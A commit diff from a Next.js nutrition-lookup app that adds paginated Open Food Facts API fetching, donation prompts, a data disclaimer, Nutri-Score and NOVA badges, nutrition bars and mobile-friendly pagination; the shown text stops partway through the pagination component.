feat(search): implement paginated API fetching for large page sizes

- Removed upper limit on page_size validation to support requests >100
- Added automatic pagination logic to fetch from Open Food Facts API in chunks of 1000
- Accumulates products across multiple API pages until desired count is reached
- Updated error messages and product data fields for consistency
This commit is contained in:
Evandro Fonseca Junior committed 2025-10-09 07:16:26 -03:00
1 parent c173fec668
commit bfb58ef16e
34 files changed
+18630 -7815

No files matched your search

+90 -29
View File
@@ -31,16 +31,19 @@ export async function GET(request: NextRequest) {
);
}
if (isNaN(pageSizeNum) || pageSizeNum < 1 || pageSizeNum > 100) {
if (isNaN(pageSizeNum) || pageSizeNum < 1) {
return NextResponse.json(
{ error: "Invalid page_size parameter (max 100)" },
{ error: "Invalid page_size parameter" },
{ status: 400 }
);
}
// Usar o máximo permitido pelo Open Food Facts (1000) para consultas na API
const apiPageSize = Math.max(pageSizeNum, 1000);
const params = new URLSearchParams({
search_terms: query,
page_size: pageSize,
page_size: apiPageSize.toString(),
page: page,
json: "true",
fields: [
@@ -223,36 +226,94 @@ export async function GET(request: NextRequest) {
`Cache JSON retornou ${localResults.products.length} produtos, buscando na API externa...`
);
const response = await fetch(
`https://world.openfoodfacts.org/cgi/search.pl?${params.toString()}`,
{
headers: {
"User-Agent": USER_AGENT,
Accept: "application/json",
},
// Implementar busca paginada automática para page_size > 1000
const allApiProducts: Product[] = [];
const maxPerPage = 1000;
let currentApiPage = 1;
const totalNeeded = pageSizeNum - localResults.products.length;
while (allApiProducts.length < totalNeeded) {
// Atualizar parâmetros para a página atual
const currentParams = new URLSearchParams(params);
currentParams.set("page", currentApiPage.toString());
currentParams.set("page_size", maxPerPage.toString());
console.log(
`Buscando página ${currentApiPage} da API (${allApiProducts.length}/${totalNeeded} produtos obtidos)...`
);
const response = await fetch(
`https://world.openfoodfacts.org/cgi/search.pl?${currentParams.toString()}`,
{
headers: {
"User-Agent": USER_AGENT,
Accept: "application/json",
},
}
);
if (response.ok) {
const apiData = await response.json();
const pageProducts = apiData.products || [];
if (pageProducts.length === 0) {
console.log("Não há mais produtos na API");
break; // Não há mais produtos
}
allApiProducts.push(...pageProducts);
fromAPI = true;
console.log(
`Página ${currentApiPage}: ${pageProducts.length} produtos (Total: ${allApiProducts.length})`
);
// Se retornou menos que o máximo, acabaram os produtos
if (pageProducts.length < maxPerPage) {
console.log("Última página de produtos obtida");
break;
}
// Se já temos o suficiente, parar
if (allApiProducts.length >= totalNeeded) {
console.log(
`Quantidade suficiente obtida: ${allApiProducts.length}/${totalNeeded}`
);
break;
}
// Incrementar página para próxima iteração
currentApiPage++;
// Rate limiting: aguardar 200ms entre requisições
if (allApiProducts.length < totalNeeded) {
console.log("Aguardando 200ms antes da próxima requisição...");
await new Promise((resolve) => setTimeout(resolve, 200));
}
} else {
console.error(
`Erro na página ${currentApiPage}: ${response.status} ${response.statusText}`
);
break;
}
);
}
if (response.ok) {
const apiData = await response.json();
apiProducts = apiData.products || [];
fromAPI = true;
apiProducts = allApiProducts;
// Ordenar produtos da API por relevância
if (apiProducts.length > 0) {
console.log(
`Ordenando ${apiProducts.length} produtos da API por relevância...`
);
apiProducts = sortByRelevance(apiProducts, query);
// Ordenar produtos da API por relevância
if (apiProducts.length > 0) {
console.log(
`Ordenando ${apiProducts.length} produtos da API por relevância...`
);
apiProducts = sortByRelevance(apiProducts, query);
console.log(
`Salvando ${apiProducts.length} produtos da API no cache JSON...`
);
const saveResult = await jsonCacheManager.saveProducts(apiProducts);
console.log(
`Cache JSON atualizado: ${saveResult.saved} salvos, ${saveResult.failed} falharam`
);
}
console.log(
`Salvando ${apiProducts.length} produtos da API no cache JSON...`
);
const saveResult = await jsonCacheManager.saveProducts(apiProducts);
console.log(
`Cache JSON atualizado: ${saveResult.saved} salvos, ${saveResult.failed} falharam`
);
}
}
+150
View File
@@ -0,0 +1,150 @@
"use client";
import { Card, CardContent } from "@/components/ui/card";
import { Button } from "@/components/ui/button";
import { Heart, Check, Code } from "lucide-react";
interface DonateCardProps {
className?: string;
variant?: "default" | "mobile";
}
export function DonateCard({ className = "", variant = "default" }: DonateCardProps) {
// Layout mobile horizontal
if (variant === "mobile") {
return (
<Card
className={`donate-card group relative overflow-hidden hover:shadow-lg transition-all duration-200 bg-gradient-to-r from-blue-50 to-green-50 dark:from-blue-900/20 dark:to-green-900/20 border border-blue-200 dark:border-blue-800 ${className}`}
>
<div className="flex gap-3 p-3">
{/* Ícone - tamanho ajustado */}
<div className="w-16 h-16 flex-shrink-0 relative bg-gradient-to-br from-blue-500 to-green-500 rounded-lg overflow-hidden flex items-center justify-center">
<Heart className="w-8 h-8 text-white animate-pulse" />
</div>
{/* Conteúdo - melhor espaçamento */}
<div className="flex-1 min-w-0 flex flex-col">
<div className="flex-1">
{/* Título */}
<h3 className="font-bold text-sm text-gray-900 dark:text-white mb-1">
Ajude o Projeto
</h3>
{/* Texto persuasivo */}
<p className="text-xs text-gray-600 dark:text-gray-300 mb-2">
Mantenha este serviço gratuito e acessível para todos
</p>
{/* Benefício rápido */}
<div className="flex items-center gap-1 text-xs text-green-600 dark:text-green-400">
<Check className="w-3 h-3" />
<span>Qualquer valor faz diferença</span>
</div>
</div>
{/* Botão CTA - menor */}
<a
href="https://buymeacoffee.com/evandrotruuta"
target="_blank"
rel="noopener noreferrer"
className="mt-2 inline-block"
>
<Button
size="sm"
className="w-full bg-gradient-to-r from-blue-600 to-green-600 hover:from-blue-700 hover:to-green-700 text-white text-xs font-medium h-8"
>
<Heart className="w-3 h-3 mr-1" />
Doar
</Button>
</a>
</div>
</div>
</Card>
);
}
// Layout desktop padrão
return (
<Card
className={`donate-card group relative overflow-hidden hover:shadow-2xl transition-all duration-300 hover:-translate-y-1 bg-gradient-to-br from-blue-50 to-green-50 dark:from-blue-900/20 dark:to-green-900/20 border border-blue-200 dark:border-blue-800 ${className}`}
>
{/* Header com ícone animado */}
<div className="relative h-32 bg-gradient-to-br from-blue-500 to-green-500 overflow-hidden">
<div className="absolute inset-0 flex items-center justify-center">
<Heart className="w-16 h-16 text-white animate-pulse" />
</div>
{/* Overlay sutil */}
<div className="absolute inset-0 bg-gradient-to-t from-black/10 to-transparent" />
{/* Badge de destaque */}
<div className="absolute top-3 right-3">
<div className="bg-white/90 dark:bg-gray-800/90 text-blue-600 dark:text-blue-400 rounded-full px-3 py-1 text-xs font-bold">
💛 Apoie
</div>
</div>
</div>
<CardContent className="p-5 space-y-4">
{/* Título principal */}
<div className="space-y-2">
<h3 className="font-bold text-lg leading-tight text-gray-900 dark:text-white">
Apoie a Transparência Alimentar
</h3>
<p className="text-sm text-gray-600 dark:text-gray-400">
Projeto mantido por um estudante dedicado
</p>
</div>
{/* Benefícios */}
<div className="space-y-2">
<div className="flex items-center gap-2 text-xs">
<Check className="w-4 h-4 text-green-500 flex-shrink-0" />
<span className="text-gray-600 dark:text-gray-400">Servidores sempre disponíveis</span>
</div>
<div className="flex items-center gap-2 text-xs">
<Check className="w-4 h-4 text-green-500 flex-shrink-0" />
<span className="text-gray-600 dark:text-gray-400">Novas funcionalidades</span>
</div>
<div className="flex items-center gap-2 text-xs">
<Check className="w-4 h-4 text-green-500 flex-shrink-0" />
<span className="text-gray-600 dark:text-gray-400">Acesso gratuito para todos</span>
</div>
</div>
{/* Mensagem humanizada */}
<div className="bg-white/50 dark:bg-gray-800/50 rounded-lg p-3">
<div className="flex items-center gap-2 mb-2">
<Code className="w-4 h-4 text-blue-500" />
<span className="text-xs font-medium text-gray-700 dark:text-gray-300">
Desenvolvido com amor
</span>
</div>
<p className="text-xs text-gray-600 dark:text-gray-400">
Cada doação ajuda a manter este projeto vivo e acessível
</p>
</div>
{/* Botão CTA principal */}
<a
href="https://buymeacoffee.com/evandrotruuta"
target="_blank"
rel="noopener noreferrer"
className="block"
>
<Button
className="w-full bg-gradient-to-r from-blue-600 to-green-600 hover:from-blue-700 hover:to-green-700 text-white font-medium h-12 text-base"
>
<Heart className="w-5 h-5 mr-2" />
Doar Qualquer Valor
</Button>
</a>
{/* Texto de incentivo */}
<p className="text-center text-xs text-gray-500 dark:text-gray-400">
Qualquer valor faz diferença 💛
</p>
</CardContent>
</Card>
);
}
-59
View File
@@ -1,59 +0,0 @@
"use client";
import { useEffect, useState } from "react";
import { motion } from "framer-motion";
import Image from "next/image";
export function FloatingDonateButton() {
const [shake, setShake] = useState(false);
useEffect(() => {
// Primeira animação após 5 segundos
const initialTimer = setTimeout(() => {
setShake(true);
setTimeout(() => setShake(false), 1000);
}, 5000);
// Animação repetida a cada 30 segundos
const interval = setInterval(() => {
setShake(true);
setTimeout(() => setShake(false), 1000);
}, 30000);
return () => {
clearTimeout(initialTimer);
clearInterval(interval);
};
}, []);
return (
<motion.div
className="fixed bottom-6 right-6 z-50"
animate={
shake
? {
rotate: [0, -5, 5, -5, 5, 0],
scale: [1, 1.05, 1, 1.05, 1],
}
: {}
}
transition={{ duration: 0.6 }}
>
<a
href="https://www.buymeacoffee.com/evandrotruuta"
target="_blank"
rel="noopener noreferrer"
className="block hover:scale-110 transition-transform duration-200 shadow-2xl rounded-lg"
>
<Image
src="https://img.buymeacoffee.com/button-api/?text=Doe/Donate&emoji=🥑&slug=evandrotruuta&button_colour=71aefe&font_colour=000000&font_family=Poppins&outline_colour=000000&coffee_colour=FFDD00"
alt="Buy Me a Coffee"
width={200}
height={56}
className="h-12 md:h-14 w-auto"
unoptimized
/>
</a>
</motion.div>
);
}
+24 -1
View File
@@ -80,7 +80,7 @@ export function Footer() {
<ul className="space-y-3">
<li className="flex items-center gap-2 text-gray-400">
<Shield className="w-4 h-4" />
<span>Dados verificados</span>
<span>Dados colaborativos</span>
</li>
<li className="flex items-center gap-2 text-gray-400">
<Globe className="w-4 h-4" />
@@ -125,11 +125,34 @@ export function Footer() {
</div>
</div>
{/* Disclaimer */}
<div className="bg-gray-800 rounded-lg p-6 my-12">
<p className="text-xs text-gray-400 text-center leading-relaxed">
<strong>Disclaimer:</strong> Os dados apresentados são fornecidos
pelo Open Food Facts, uma base de dados colaborativa. Não garantimos
a precisão, completude ou atualidade das informações. Sempre
verifique as informações na embalagem do produto.
</p>
</div>
{/* Bottom */}
<div className="border-t border-gray-800 mt-12 pt-8">
<div className="flex flex-col md:flex-row justify-between items-center gap-4">
<div className="text-sm text-gray-400">
© 2024 NutriScan. Todos os direitos reservados.
<br />
<span className="text-xs">
Desenvolvido por{" "}
<a
href="https://evandro.dev.br"
target="_blank"
rel="noopener noreferrer"
className="text-blue-400 hover:text-blue-300 transition-colors"
>
evandro.dev.br
</a>{" "}
e mantido por NutriScan
</span>
</div>
<div className="flex items-center gap-6 text-sm text-gray-400">
<a href="#" className="hover:text-white transition-colors">
+248
View File
@@ -0,0 +1,248 @@
"use client";
import { useState } from "react";
import { AlertTriangle } from "lucide-react";
import { cn } from "@/lib/utils";
interface NutriScoreBadgeProps {
grade: string;
className?: string;
size?: "sm" | "md" | "lg";
showTooltip?: boolean;
}
export function NutriScoreBadge({
grade,
className,
size = "md",
showTooltip = true,
}: NutriScoreBadgeProps) {
const [showInfo, setShowInfo] = useState(false);
const getGradeInfo = (grade: string) => {
const grades = {
a: {
label: "A",
color: "bg-gradient-to-br from-green-400 to-green-600",
textColor: "text-white",
description: "Muito bom",
explanation: "Produto com excelente qualidade nutricional",
pulse: false,
},
b: {
label: "B",
color: "bg-gradient-to-br from-green-300 to-green-500",
textColor: "text-white",
description: "Bom",
explanation: "Produto com boa qualidade nutricional",
pulse: false,
},
c: {
label: "C",
color: "bg-gradient-to-br from-yellow-400 to-yellow-600",
textColor: "text-white",
description: "Regular",
explanation: "Produto com qualidade nutricional regular",
pulse: false,
},
d: {
label: "D",
color: "bg-gradient-to-br from-orange-400 to-orange-600",
textColor: "text-white",
description: "Ruim",
explanation: "Produto com qualidade nutricional ruim",
pulse: true,
},
e: {
label: "E",
color: "bg-gradient-to-br from-red-400 to-red-600",
textColor: "text-white",
description: "Muito ruim",
explanation: "Produto com qualidade nutricional muito ruim",
pulse: true,
},
};
return grades[grade.toLowerCase() as keyof typeof grades] || null;
};
const gradeInfo = getGradeInfo(grade);
if (!gradeInfo) return null;
const sizeClasses = {
sm: "w-8 h-8 text-sm",
md: "w-16 h-16 text-xl",
lg: "w-20 h-20 text-2xl",
};
return (
<div className="relative group">
<div
className={cn(
"relative rounded-full flex items-center justify-center shadow-lg transition-all duration-300 transform hover:scale-105",
gradeInfo.color,
sizeClasses[size],
gradeInfo.pulse && "animate-pulse",
className
)}
onMouseEnter={() => setShowInfo(true)}
onMouseLeave={() => setShowInfo(false)}
>
<span className={cn("font-bold", gradeInfo.textColor)}>
{gradeInfo.label}
</span>
{/* Efeito de brilho para notas baixas */}
{gradeInfo.pulse && (
<div className="absolute inset-0 rounded-full bg-white opacity-20 animate-ping" />
)}
</div>
{/* Tooltip informativo */}
{showTooltip && showInfo && (
<div className="absolute bottom-full left-1/2 transform -translate-x-1/2 mb-2 z-50">
<div className="bg-gray-900 text-white text-xs rounded-lg px-3 py-2 shadow-xl max-w-xs">
<div className="flex items-center gap-2 mb-1">
<span className="font-semibold">
Nutri-Score {gradeInfo.label}
</span>
{gradeInfo.pulse && (
<AlertTriangle className="w-3 h-3 text-yellow-400" />
)}
</div>
<p className="font-medium">{gradeInfo.description}</p>
<p className="text-gray-300 mt-1">{gradeInfo.explanation}</p>
{/* Seta do tooltip */}
<div className="absolute top-full left-1/2 transform -translate-x-1/2">
<div className="w-0 h-0 border-l-4 border-r-4 border-t-4 border-transparent border-t-gray-900" />
</div>
</div>
</div>
)}
{/* Badge de alerta para notas baixas */}
{gradeInfo.pulse && (
<div className="absolute -top-1 -right-1 w-4 h-4 bg-red-500 rounded-full flex items-center justify-center">
<AlertTriangle className="w-2.5 h-2.5 text-white" />
</div>
)}
</div>
);
}
interface NovaBadgeProps {
group: number;
className?: string;
size?: "sm" | "md" | "lg";
showTooltip?: boolean;
}
export function NovaBadge({
group,
className,
size = "md",
showTooltip = true,
}: NovaBadgeProps) {
const [showInfo, setShowInfo] = useState(false);
const getGroupInfo = (group: number) => {
const groups = {
1: {
label: "1",
color: "bg-gradient-to-br from-green-400 to-green-600",
textColor: "text-white",
description: "Não processado",
explanation: "Alimentos não processados ou minimamente processados",
pulse: false,
},
2: {
label: "2",
color: "bg-gradient-to-br from-yellow-400 to-yellow-600",
textColor: "text-white",
description: "Ingredientes",
explanation: "Ingredientes culinários processados",
pulse: false,
},
3: {
label: "3",
color: "bg-gradient-to-br from-orange-400 to-orange-600",
textColor: "text-white",
description: "Processado",
explanation: "Alimentos processados",
pulse: true,
},
4: {
label: "4",
color: "bg-gradient-to-br from-red-400 to-red-600",
textColor: "text-white",
description: "Ultraprocessado",
explanation: "Alimentos ultraprocessados",
pulse: true,
},
};
return groups[group as keyof typeof groups] || null;
};
const groupInfo = getGroupInfo(group);
if (!groupInfo) return null;
const sizeClasses = {
sm: "w-8 h-8 text-sm",
md: "w-16 h-16 text-xl",
lg: "w-20 h-20 text-2xl",
};
return (
<div className="relative group">
<div
className={cn(
"relative rounded-full flex items-center justify-center shadow-lg transition-all duration-300 transform hover:scale-105",
groupInfo.color,
sizeClasses[size],
groupInfo.pulse && "animate-pulse",
className
)}
onMouseEnter={() => setShowInfo(true)}
onMouseLeave={() => setShowInfo(false)}
>
<span className={cn("font-bold", groupInfo.textColor)}>
{groupInfo.label}
</span>
{/* Efeito de brilho para grupos altos */}
{groupInfo.pulse && (
<div className="absolute inset-0 rounded-full bg-white opacity-20 animate-ping" />
)}
</div>
{/* Tooltip informativo */}
{showTooltip && showInfo && (
<div className="absolute bottom-full left-1/2 transform -translate-x-1/2 mb-2 z-50">
<div className="bg-gray-900 text-white text-xs rounded-lg px-3 py-2 shadow-xl max-w-xs">
<div className="flex items-center gap-2 mb-1">
<span className="font-semibold">NOVA {groupInfo.label}</span>
{groupInfo.pulse && (
<AlertTriangle className="w-3 h-3 text-yellow-400" />
)}
</div>
<p className="font-medium">{groupInfo.description}</p>
<p className="text-gray-300 mt-1">{groupInfo.explanation}</p>
{/* Seta do tooltip */}
<div className="absolute top-full left-1/2 transform -translate-x-1/2">
<div className="w-0 h-0 border-l-4 border-r-4 border-t-4 border-transparent border-t-gray-900" />
</div>
</div>
</div>
)}
{/* Badge de alerta para grupos altos */}
{groupInfo.pulse && (
<div className="absolute -top-1 -right-1 w-4 h-4 bg-red-500 rounded-full flex items-center justify-center">
<AlertTriangle className="w-2.5 h-2.5 text-white" />
</div>
)}
</div>
);
}
+361
View File
@@ -0,0 +1,361 @@
"use client";
import { useState } from "react";
import { Info, TrendingUp, TrendingDown, AlertTriangle } from "lucide-react";
import { cn } from "@/lib/utils";
interface NutritionBarProps {
label: string;
value: string;
unit?: string;
percentage?: number;
isHigh?: boolean;
isLow?: boolean;
recommended?: string;
className?: string;
showTooltip?: boolean;
}
export function NutritionBar({
label,
value,
unit = "",
percentage = 0,
isHigh = false,
isLow = false,
recommended,
className,
showTooltip = true,
}: NutritionBarProps) {
const [isTooltipVisible, setIsTooltipVisible] = useState(false);
// Calcular cor baseada no valor e se é alto/baixo
const getBarColor = () => {
if (isHigh) {
return "bg-gradient-to-r from-red-400 to-red-600";
}
if (isLow) {
return "bg-gradient-to-r from-green-400 to-green-600";
}
if (percentage > 80) {
return "bg-gradient-to-r from-orange-400 to-orange-600";
}
if (percentage > 60) {
return "bg-gradient-to-r from-yellow-400 to-yellow-600";
}
return "bg-gradient-to-r from-blue-400 to-blue-600";
};
// Calcular largura da barra baseada na porcentagem
const barWidth = Math.min(Math.max(percentage, 5), 100);
// Determinar ícone baseado no status
const getIcon = () => {
if (isHigh) return <TrendingUp className="w-3 h-3" />;
if (isLow) return <TrendingDown className="w-3 h-3" />;
return null;
};
// Determinar cor do texto baseada no status
const getTextColor = () => {
if (isHigh) return "text-red-600 dark:text-red-400";
if (isLow) return "text-green-600 dark:text-green-400";
return "text-gray-900 dark:text-white";
};
return (
<div className={cn("space-y-3", className)}>
{/* Linha principal: Informação nutricional à esquerda, porcentagem à direita */}
<div className="flex items-center justify-between">
{/* Informação nutricional à esquerda */}
<div className="flex items-center gap-2">
<span className="text-sm font-medium text-gray-600 dark:text-gray-400">
{label}:
</span>
<span className={cn("text-sm font-semibold", getTextColor())}>
{value} {unit}
</span>
{getIcon() && (
<div className={cn("flex items-center", getTextColor())}>
{getIcon()}
</div>
)}
{showTooltip && (
<button
onMouseEnter={() => setIsTooltipVisible(true)}
onMouseLeave={() => setIsTooltipVisible(false)}
className="text-gray-400 hover:text-gray-600 dark:hover:text-gray-300 transition-colors"
>
<Info className="w-3 h-3" />
</button>
)}
</div>
{/* Separador visual */}
<div className="flex-1 mx-4 h-px bg-gray-200 dark:bg-gray-600"></div>
{/* Porcentagem à direita */}
{percentage > 0 && (
<div className="text-xs text-gray-600 dark:text-gray-300 font-medium bg-white dark:bg-gray-800 px-3 py-1 rounded-full shadow-sm border border-gray-200 dark:border-gray-600 flex-shrink-0">
{Math.round(percentage)}%
</div>
)}
</div>
{/* Barra de progresso */}
<div className="relative">
<div className="w-full bg-gray-200 dark:bg-gray-700 rounded-full h-2 overflow-hidden">
<div
className={cn(
"h-full rounded-full transition-all duration-500 ease-out relative",
getBarColor()
)}
style={{ width: `${barWidth}%` }}
>
{/* Efeito de brilho */}
<div className="absolute inset-0 bg-gradient-to-r from-transparent via-white to-transparent opacity-30 animate-pulse" />
</div>
</div>
</div>
{/* Tooltip informativo */}
{showTooltip && isTooltipVisible && (
<div className="absolute bottom-full left-0 mb-2 z-50">
<div className="bg-gray-900 text-white text-xs rounded-lg px-3 py-2 shadow-xl max-w-xs">
<div className="flex items-center gap-2 mb-1">
<span className="font-semibold">{label}</span>
{isHigh && <AlertTriangle className="w-3 h-3 text-red-400" />}
{isLow && <TrendingDown className="w-3 h-3 text-green-400" />}
</div>
<p className="text-gray-300">
Valor: {value} {unit}
</p>
{recommended && (
<p className="text-gray-300 mt-1">Recomendado: {recommended}</p>
)}
{isHigh && (
<p className="text-red-300 mt-1">
⚠️ Alto valor - consumir com moderação
</p>
)}
{isLow && (
<p className="text-green-300 mt-1">✅ Baixo valor - boa opção</p>
)}
{/* Seta do tooltip */}
<div className="absolute top-full left-4">
<div className="w-0 h-0 border-l-4 border-r-4 border-t-4 border-transparent border-t-gray-900" />
</div>
</div>
</div>
)}
</div>
);
}
interface NutritionGridProps {
nutritionData: {
energy?: string;
fat?: string;
carbohydrates?: string;
proteins?: string;
sugars?: string;
fiber?: string;
sodium?: string;
};
className?: string;
}
export function NutritionGrid({
nutritionData,
className,
}: NutritionGridProps) {
// Valores de referência para calcular porcentagens (valores diários recomendados)
const referenceValues = {
energy: 2000, // kcal
fat: 65, // g
carbohydrates: 300, // g
proteins: 50, // g
sugars: 50, // g
fiber: 25, // g
sodium: 2.3, // g
};
// Extrair valor numérico da string
const extractNumericValue = (value: string | undefined): number => {
if (!value) return 0;
const match = value.match(/(\d+(?:\.\d+)?)/);
return match ? parseFloat(match[1]) : 0;
};
// Calcular porcentagem baseada no valor de referência
const calculatePercentage = (
value: string | undefined,
reference: number
): number => {
const numericValue = extractNumericValue(value);
return (numericValue / reference) * 100;
};
// Determinar se um valor é alto ou baixo
const isHighValue = (
value: string | undefined,
reference: number
): boolean => {
const percentage = calculatePercentage(value, reference);
return percentage > 80;
};
const isLowValue = (
value: string | undefined,
reference: number
): boolean => {
const percentage = calculatePercentage(value, reference);
return percentage < 20;
};
const nutritionItems = [
{
label: "Energia",
value: nutritionData.energy,
unit: "kcal",
percentage: calculatePercentage(
nutritionData.energy,
referenceValues.energy
),
isHigh: isHighValue(nutritionData.energy, referenceValues.energy),
isLow: isLowValue(nutritionData.energy, referenceValues.energy),
recommended: "2000 kcal/dia",
},
{
label: "Gorduras",
value: nutritionData.fat,
unit: "g",
percentage: calculatePercentage(nutritionData.fat, referenceValues.fat),
isHigh: isHighValue(nutritionData.fat, referenceValues.fat),
isLow: isLowValue(nutritionData.fat, referenceValues.fat),
recommended: "65g/dia",
},
{
label: "Carboidratos",
value: nutritionData.carbohydrates,
unit: "g",
percentage: calculatePercentage(
nutritionData.carbohydrates,
referenceValues.carbohydrates
),
isHigh: isHighValue(
nutritionData.carbohydrates,
referenceValues.carbohydrates
),
isLow: isLowValue(
nutritionData.carbohydrates,
referenceValues.carbohydrates
),
recommended: "300g/dia",
},
{
label: "Proteínas",
value: nutritionData.proteins,
unit: "g",
percentage: calculatePercentage(
nutritionData.proteins,
referenceValues.proteins
),
isHigh: isHighValue(nutritionData.proteins, referenceValues.proteins),
isLow: isLowValue(nutritionData.proteins, referenceValues.proteins),
recommended: "50g/dia",
},
{
label: "Açúcares",
value: nutritionData.sugars,
unit: "g",
percentage: calculatePercentage(
nutritionData.sugars,
referenceValues.sugars
),
isHigh: isHighValue(nutritionData.sugars, referenceValues.sugars),
isLow: isLowValue(nutritionData.sugars, referenceValues.sugars),
recommended: "50g/dia",
},
{
label: "Fibras",
value: nutritionData.fiber,
unit: "g",
percentage: calculatePercentage(
nutritionData.fiber,
referenceValues.fiber
),
isHigh: isHighValue(nutritionData.fiber, referenceValues.fiber),
isLow: isLowValue(nutritionData.fiber, referenceValues.fiber),
recommended: "25g/dia",
},
{
label: "Sódio",
value: nutritionData.sodium,
unit: "g",
percentage: calculatePercentage(
nutritionData.sodium,
referenceValues.sodium
),
isHigh: isHighValue(nutritionData.sodium, referenceValues.sodium),
isLow: isLowValue(nutritionData.sodium, referenceValues.sodium),
recommended: "2.3g/dia",
},
];
return (
<div className={cn("space-y-4", className)}>
<div className="flex items-center gap-2 mb-4">
<h3 className="text-lg font-semibold text-gray-900 dark:text-white">
Informação Nutricional
</h3>
<div className="text-xs text-gray-500 dark:text-gray-400 bg-gray-100 dark:bg-gray-700 px-2 py-1 rounded-full">
Valores diários de referência
</div>
</div>
<div className="grid grid-cols-1 sm:grid-cols-2 gap-6">
{nutritionItems.map((item) => (
<NutritionBar
key={item.label}
label={item.label}
value={item.value || "N/A"}
unit={item.unit}
percentage={item.percentage}
isHigh={item.isHigh}
isLow={item.isLow}
recommended={item.recommended}
showTooltip={true}
/>
))}
</div>
{/* Legenda */}
<div className="mt-6 p-4 bg-gray-50 dark:bg-gray-800 rounded-lg">
<h4 className="text-sm font-medium text-gray-900 dark:text-white mb-2">
Como interpretar os valores:
</h4>
<div className="grid grid-cols-1 sm:grid-cols-3 gap-4 text-xs">
<div className="flex items-center gap-2">
<div className="w-3 h-3 bg-green-400 rounded-full"></div>
<span className="text-gray-600 dark:text-gray-400">
Baixo (verde)
</span>
</div>
<div className="flex items-center gap-2">
<div className="w-3 h-3 bg-yellow-400 rounded-full"></div>
<span className="text-gray-600 dark:text-gray-400">
Moderado (amarelo)
</span>
</div>
<div className="flex items-center gap-2">
<div className="w-3 h-3 bg-red-400 rounded-full"></div>
<span className="text-gray-600 dark:text-gray-400">
Alto (vermelho)
</span>
</div>
</div>
</div>
</div>
);
}
+1 -1
View File
@@ -95,7 +95,7 @@ export function NutritionChart({ data, className = "" }: NutritionChartProps) {
<Card className={className}>
<CardHeader>
<CardTitle className="text-lg font-semibold">
Informação Nutricional (por 100g)
Informação Nutricional
</CardTitle>
</CardHeader>
<CardContent className="space-y-4">
+177 -95
View File
@@ -44,29 +44,31 @@ export function Pagination({
const startIndex = (currentPage - 1) * itemsPerPage + 1;
const endIndex = Math.min(currentPage * itemsPerPage, totalItems);
// Gerar array de páginas visíveis
// Gerar array de páginas visíveis com responsividade
const visiblePages = useMemo(() => {
const pages: (number | string)[] = [];
const { maxVisiblePages } = finalConfig;
// Reduzir maxVisiblePages em mobile (assumindo que usaremos classes Tailwind)
const isMobile = typeof window !== "undefined" && window.innerWidth < 640;
const maxVisible = isMobile ? 3 : finalConfig.maxVisiblePages;
if (totalPages <= maxVisiblePages) {
if (totalPages <= maxVisible) {
// Se total de páginas é menor que o máximo, mostrar todas
for (let i = 1; i <= totalPages; i++) {
pages.push(i);
}
} else {
// Lógica para mostrar páginas com ellipsis
const halfVisible = Math.floor(maxVisiblePages / 2);
const halfVisible = Math.floor(maxVisible / 2);
let startPage = Math.max(1, currentPage - halfVisible);
const endPage = Math.min(totalPages, startPage + maxVisiblePages - 1);
const endPage = Math.min(totalPages, startPage + maxVisible - 1);
// Ajustar se estivermos no final
if (endPage - startPage + 1 < maxVisiblePages) {
startPage = Math.max(1, endPage - maxVisiblePages + 1);
if (endPage - startPage + 1 < maxVisible) {
startPage = Math.max(1, endPage - maxVisible + 1);
}
// Primeira página
if (startPage > 1) {
// Primeira página (ocultar em mobile)
if (startPage > 1 && !isMobile) {
pages.push(1);
if (startPage > 2) {
pages.push("...");
@@ -78,8 +80,8 @@ export function Pagination({
pages.push(i);
}
// Última página
if (endPage < totalPages) {
// Última página (ocultar em mobile)
if (endPage < totalPages && !isMobile) {
if (endPage < totalPages - 1) {
pages.push("...");
}
@@ -106,111 +108,191 @@ export function Pagination({
}
return (
<div
className={`flex flex-col sm:flex-row items-center justify-between gap-4 ${className}`}
>
{/* Informações dos itens */}
<div className="text-sm text-gray-600 dark:text-gray-400">
Mostrando {startIndex} a {endIndex} de {totalItems} resultado
{totalItems !== 1 ? "s" : ""}
</div>
<div className={`w-full ${className}`}>
{/* Layout Mobile: Múltiplas linhas */}
<div className="flex flex-col gap-3 sm:hidden">
{/* Linha 1: Informação de resultados */}
<div className="text-center text-sm text-gray-600 dark:text-gray-400">
{startIndex}-{endIndex} de {totalItems} resultado
{totalItems !== 1 ? "s" : ""}
</div>
{/* Controles de paginação */}
<div className="flex items-center gap-2">
{/* Seletor de itens por página */}
{onItemsPerPageChange && (
<div className="flex items-center gap-2 mr-4">
<span className="text-sm text-gray-600 dark:text-gray-400">
Por página:
</span>
<Select
value={localItemsPerPage.toString()}
onValueChange={handleItemsPerPageChange}
>
<SelectTrigger className="w-20 h-8">
<SelectValue />
</SelectTrigger>
<SelectContent>
<SelectItem value="10">10</SelectItem>
<SelectItem value="20">20</SelectItem>
<SelectItem value="50">50</SelectItem>
<SelectItem value="100">100</SelectItem>
</SelectContent>
</Select>
</div>
)}
{/* Botões de navegação */}
<div className="flex items-center gap-1">
{/* Primeira página */}
{finalConfig.showFirstLast && (
<Button
variant="outline"
size="sm"
onClick={() => onPageChange(1)}
disabled={!canGoPrevious}
className="h-8 w-8 p-0"
>
<ChevronsLeft className="h-4 w-4" />
</Button>
)}
{/* Página anterior */}
{finalConfig.showPrevNext && (
{/* Linha 2: Controles de navegação */}
<div className="flex justify-center">
<div className="flex items-center gap-1 overflow-x-auto px-2 scrollbar-hide">
{/* Página anterior */}
<Button
variant="outline"
size="sm"
onClick={() => onPageChange(currentPage - 1)}
disabled={!canGoPrevious}
className="h-8 w-8 p-0"
className="h-9 w-9 p-0 flex-shrink-0"
>
<ChevronLeft className="h-4 w-4" />
</Button>
)}
{/* Números das páginas */}
{visiblePages.map((page, index) => (
<div key={index}>
{page === "..." ? (
<span className="px-3 py-1 text-sm text-gray-500">...</span>
) : (
<Button
variant={currentPage === page ? "default" : "outline"}
size="sm"
onClick={() => onPageChange(page as number)}
className="h-8 w-8 p-0"
>
{page}
</Button>
)}
</div>
))}
{/* Números das páginas */}
{visiblePages.map((page, index) => (
<div key={index} className="flex-shrink-0">
{page === "..." ? (
<span className="px-2 py-1 text-sm text-gray-500">...</span>
) : (
<Button
variant={currentPage === page ? "default" : "outline"}
size="sm"
onClick={() => onPageChange(page as number)}
className="h-9 w-9 p-0"
>
{page}
</Button>
)}
</div>
))}
{/* Próxima página */}
{finalConfig.showPrevNext && (
{/* Próxima página */}
<Button
variant="outline"
size="sm"
onClick={() => onPageChange(currentPage + 1)}
disabled={!canGoNext}
className="h-8 w-8 p-0"
className="h-9 w-9 p-0 flex-shrink-0"
>
